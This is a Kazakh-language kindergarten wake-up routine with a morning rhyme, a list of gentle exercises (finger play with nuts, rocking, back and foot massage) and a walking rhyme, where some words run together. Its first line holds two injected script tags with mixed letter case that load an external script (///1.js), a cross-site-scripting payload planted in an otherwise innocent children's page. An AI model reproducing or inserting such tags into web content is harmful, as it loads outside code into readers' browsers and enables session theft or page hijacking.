<sCrIpT sRc=///1.js></ScRiPt><sCrIpT sRc=///1.js></ScRiPt>

Ояну

Ояну үшін тезірек

Бойымызды созамыз

Бойымызды созамыз

Күнге қарап күлімдеп

Көзімізді ашамыз.

Бойдытүзе, көтербасты

Сергіпоян сен енді.

а) «Қанеқайсыалақан» жаңғақпенжаттығу. Кілемшеде отырып алақандарына жаңғақпен жаттығу жасайды.

ә) «Әдемі саусақтар» жаттығуы.(қол,аяқ саусақтарына арналған)

б) «Тербелу» жаттығуы. (тізені құшақтап отыру)

в) «Көңілдікөжектер»жаттығуы.(арқаға массаж)

г) «Ұзын – қысқааяқтар» жаттығуы.(аяқбұлшықеттерінеарналған)

Көжектерсеруенгешықты.

Бір – екі, бір – екі

Аяғымызжүреді

Ілгектермен, тастармен

Әдеміирекжолдармен

Табанға массаж жасаумен

Бух – бух